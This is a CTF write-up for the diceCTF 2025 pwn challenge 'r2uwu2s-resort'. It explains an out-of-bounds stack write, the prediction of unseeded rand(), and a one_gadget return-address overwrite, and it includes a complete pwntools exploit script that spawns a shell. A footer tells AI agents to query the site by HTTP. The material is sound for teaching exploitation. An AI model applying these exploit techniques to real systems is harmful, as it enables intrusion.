# r2uwu2s-resort

<figure><img src="/files/zjA0e4O1ToONutRPTaF4" alt=""><figcaption></figcaption></figure>

`r2uwu2s-resort` was the easy pwn challenge from this year's diceCTF. While I didn't look much at this challenge during the CTF (as it was released later on, and I was focused on [locked\_room](/pwn-notes/dicectf-2025/locked-room.md)), I did look at it after the CTF and locked\_room, and solved it, so here's my writeup for it.

## Reversing

### Checksec

<figure><img src="/files/10l9AqSZmOg3bqG5y0fw" alt=""><figcaption><p>Full protections on <code>resort</code></p></figcaption></figure>

It wouldn't be a diceCTF challenge if it were missing any proections (except FORTIFY, but who actually cares about that). We're also given source code:

```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <unistd.h>

#define ANSI_RESET "\x1b[0m"
#define ANSI_COLOR(x) "\x1b[0;" x "m"
#define ANSI_RED ANSI_COLOR("31")
#define ANSI_GREEN ANSI_COLOR("32")
#define ANSI_YELLOW ANSI_COLOR("33")
#define ANSI_BLUE ANSI_COLOR("34")
#define ANSI_MAGENTA ANSI_COLOR("35")
#define ANSI_CYAN ANSI_COLOR("36")
#define ANSI_WHITE ANSI_COLOR("37")
#define ANSI_BRIGHT_RED ANSI_COLOR("91")
#define ANSI_BRIGHT_GREEN ANSI_COLOR("92")
#define ANSI_BRIGHT_YELLOW ANSI_COLOR("93")
#define ANSI_BRIGHT_BLUE ANSI_COLOR("94")
#define ANSI_BRIGHT_MAGENTA ANSI_COLOR("95")
#define ANSI_BRIGHT_CYAN ANSI_COLOR("96")
#define ANSI_BRIGHT_WHITE ANSI_COLOR("97")
#define ANSI_ERASE "\x1b[2J"

#define sleep_ms(x) usleep(x * 1000)

typedef struct {
  int8_t hp;
} dustbunny;

void print_bunny(dustbunny* bunny, char paw) {
  if (bunny->hp > 50) {
    printf("%1$c{ ^^ }%1$c", paw);
  } else if (bunny->hp > 0) {
    printf("%1$c{ oo }%1$c", paw);
  } else {
    printf("%1$c{ xx }%1$c", paw);
  }
}

void print_ui(char* msg, dustbunny bunnies[static 3], uint8_t hp, uint8_t mp) {
  printf(
    ANSI_BRIGHT_RED \
    "                                        \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | "
  );
  printf("%-32s", msg);
  printf(
    " |  \n" \
    "  |                                  |  \n" \
    "  |     "
  );
  print_bunny(&bunnies[0], '*');
  print_bunny(&bunnies[1], '\'');
  print_bunny(&bunnies[2], '.');
  printf(
    "     |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | r2uwu2 @ "
  );
  printf("%-23p", &print_ui);
  printf(
    " |  \n" \
    "  | ------ HP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < hp / 5 ? "#" : " ");
  }
  printf(
    "] |  \n" \
    "  |        MP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < mp / 5 ? "*" : " ");
  }
  printf(
    "] |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "                                        \n" \
    ANSI_RESET
  );
}

char* items[] = {
  "random bs",
  "spooky rizz",
  "dr chatterjee",
  "DOM CLOBBERING",
};

int main() {
  dustbunny bunnies[3] = {
    {
      .hp = 96,
    },
    {
      .hp = 99,
    },
    {
      .hp = 97,
    }
  };
  uint8_t hp = 100;
  uint8_t mp = 100;

  char msg[33] = "3 Dust Bunnies block your path! ";
  while (true) {
    print_ui(msg, bunnies, hp, mp);

    int item = rand() % 4;
    int choice;
    printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
    fflush(stdout);
    if (scanf("%d%*[^\n]", &choice) == 0) {
      puts("bad input >:(");
      fflush(stdout);
      return 1;
    }

    uint8_t dmg;
    if (item == 3) {
      bunnies[choice - 1].hp = 0;
    } else {
      dmg = rand() % 255;
      bunnies[choice - 1].hp -= dmg;
    }

    hp -= 1;
    if (bunnies[choice - 1].hp <= 0) {
      sprintf(msg, "Bunny %d has fallen!", choice);
    } else {
      sprintf(msg, "Bunny %d took %d damage!", choice, dmg);
    }

    if (bunnies[0].hp <= 0 && bunnies[1].hp <= 0 && bunnies[2].hp <= 0) {
      puts("r2uwu2 wins!");
      fflush(stdout);
      return 0;
    } else if (hp < 0) {
      puts("the resort wins...");
      fflush(stdout);
      return 1;
    }
  }
}
```

The program seems to be a kind of turn based singler player game, where we have to defeat 3 bunnies (it's mean :cry:, but anything for a flag) by selecting one each turn, then we do a "random" (more on this later) amount of damage to it, or have a ¼ chance to kill it insantly (i.e reduce its `.hp` to 0). Each bunny is of type `dustbunny`, which is just:

```c
typedef struct {
  int8_t hp;
} dustbunny;
```

So basically just a `int8_t` (i.e. a one byte value).

The program ends when either all the bunnies die, or we do.

### PIE Leak

```c
printf("%-23p", &print_ui);
```

Even though we have PIE enabled, the challenge decides to give us a PIE leak for free anyways, how nice of them! ~~why they simply didn't just disable PIE is beyond me~~.

### (B)OOB: (Bunny) Out of Bounds

The bug here is fairly obvious: no bounds check on which bunny we decide to attack. This means we can subtract "random" values from arbitrary `int8_t`s on the stack, however since we can't control the output of `rand()`, how do we control this OOB?

## Exploitation

### Predicting rand

If we can't control the values we subtract, then the next best thing is to be able to predict them, so when a useful value comes along, we can use it for a specific write to some index. Thankfully, `rand` isn't as random as you may expect.\
`rand` is a pseudo-random generator, which means the numbers aren't truly random, and just appear to be so. These tend to work by applying mathematical operations to a current state to yield a new one, so they're deterministic, *and* they need a starting seed value to determine an initial state. Importantly, this means if we know the initial seed, we can predict all the generated numbers.

`rand` uses `srand` to seed it, and a common pattern is doing `srand(time(NULL))` at the start of programs, which seeds based on the current time, however there is no call to `srand` at all in the program!

By default, `rand` is seeded with `0`, so we can generate all the attacks:

```python
import ctypes
dll = ctypes.CDLL("libc.so.6")
#dll.srand(0)    # if you want to be safe

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)
```

### Immortality?

Another limitation to get around is our `hp`. `hp` starts at 100, and goes down by 1 every turn, so we'd only have roughly 100 writes. Since we don't have controlled writes, many of those 100 won't be useful to us, at least not easily, plus the address randomization potentially decreasing reliability of finding the necessary writes.

So what if we used our OOB to hit `hp`?

<figure><img src="/files/cFPjcunWAjItTHQnNHyV" alt=""><figcaption><p><code>hp = 100</code></p></figcaption></figure>

<figure><img src="/files/0sBJtcFZ4eMS09sQ1VaT" alt=""><figcaption><p><code>hp -= 1</code></p></figcaption></figure>

Unfortunately no good, because `hp` is stored in the register `r12`!

However, it turns out we actually don't need to worry about this at all! If we take a closer look at how `hp` is defined, we see that it's actually unsigned: `uint8_t hp = 100;`. And since the check is for `hp < 0`, NOT `hp <= 0` like with the bunnies, this will NEVER pass.

In fact, the compiler recognises this, and just removes this check entirely:

<figure><img src="/files/I8yIorO2oR1BgankC1KO" alt=""><figcaption><p>No "the resort wins" string</p></figcaption></figure>

### The plan

Since we have only a PIE leak (no libc), we can only write PIE addresses, so our attack options are limited. Ideally we'd want to attack the return address, which already has a libc address: `__libc_start_call_main+128`.

While we don't have a libc leak, we do have a subtract primitive as opposed to just a write one, so we can use this to our advantage!

We don't need to know all the bits of the address, we just need to know the offset from the address to where we'd want to jump, most likely a `one_gadget`, then we can subtract from each byte to effectively subtract that offset!

{% hint style="warning" %}
This isn't perfect, as this won't account for possible carrying that may be needed, depending on the libc base, but it will work well enough in practice.
{% endhint %}

So, what `one_gadget`s do we have?

<figure><img src="/files/eIPXWhCMKcvyweCOYfus" alt=""><figcaption><p><code>one_gadget libc.so.6</code></p></figcaption></figure>

And this is the state of the registers on returning from `main`:

<figure><img src="/files/0jGxY53i4wKHEeaghhUb" alt=""><figcaption><p>return from <code>main</code></p></figcaption></figure>

The biggest thing to note is that none of these gadgets will work, because `rbp-0xXX` needs to be writable, and `rbp=1`. So if we're going to use a `one_gadget`, we will need to change `rbp` to some writable address, like a PIE one. We can do this by writing to the stack, as `rbp` is saved at the start of `main`, and restored at the end along with `r12-r15` and `rbx`.

<figure><img src="/files/fymoX6Kuc4WISJTEFeJ3" alt=""><figcaption><p>Restore saved registers</p></figcaption></figure>

However with many of these gadgets, we'll need to fix other constraints too, except for 2 of them:

<figure><img src="/files/lDfrQT5x9veHLiX2qEAw" alt=""><figcaption><p><code>r10 == NULL</code></p></figcaption></figure>

<figure><img src="/files/ZHoqvG5DCzqmJYKFeAwD" alt=""><figcaption><p><code>rax == NULL</code></p></figcaption></figure>

While `r10 == NULL` happens by chance (probably from some system call), we can see that `rax == NULL` comes from the `return 0;`. So all these gadgets need is a valid, writable `rbp`, which we can use `PIE+0x4100` for.

<figure><img src="/files/Wd9Y48bK17RqhGDjaFls" alt=""><figcaption><p><code>PIE+0x4100</code></p></figcaption></figure>

So the plan is:

1. Overwrite saved rbp to point to `PIE+0x4100`.
2. Overwrite return address to point to a `one_gadget`.
3. Kill the 3 bunnies to return, and trigger the `one_gadget`.

### Implementation

Now let's implement the attack:

```python
attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()
```

Since our write primitive is a subtraction, we either need to know the current value of what we're overwriting, or set it to 0 first using `DOM CLOBBERING` (which we don't need to use as we know the values).

So what `gen_subs` does is generate a list of what values should be subtracted from each index, and we generate this for the `one_gadget` and `saved rbp` writes.

Then `do_subs` will generate the payload to do these, in no particular order, as these writes don't have an effect until we return. If we have an attack that's useless to us, we send it to an irrelevant index, like `-1`.

Finally we need to return, so then we kill the 3 bunnies (RIP :cry:) by bringing their hp to 0 or lower.

## Exploit

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3
from pwn import *
from sys import argv
import ctypes

e = context.binary = ELF('./resort_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
    ip, port = "dicec.tf", 32030
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

dll = ctypes.CDLL("libc.so.6")

p = conn()

p.recvuntil(b"r2uwu2 @ ")
print_ui = int(p.recvuntil(b" "), 16)
log.info(f"print_ui: {hex(print_ui)}")

e.address = print_ui - e.sym.print_ui
log.info(f"PIE: {hex(e.address)}")

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)

attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

"""
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()

print(len(payload))
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()
```

{% endcode %}

<figure><img src="/files/NrysmRT5IhPJVWP0m2oU" alt=""><figcaption><p>Getting the flag</p></figcaption></figure>

`dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sashactf.gitbook.io/pwn-notes/dicectf-2025/r2uwu2s-resort.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
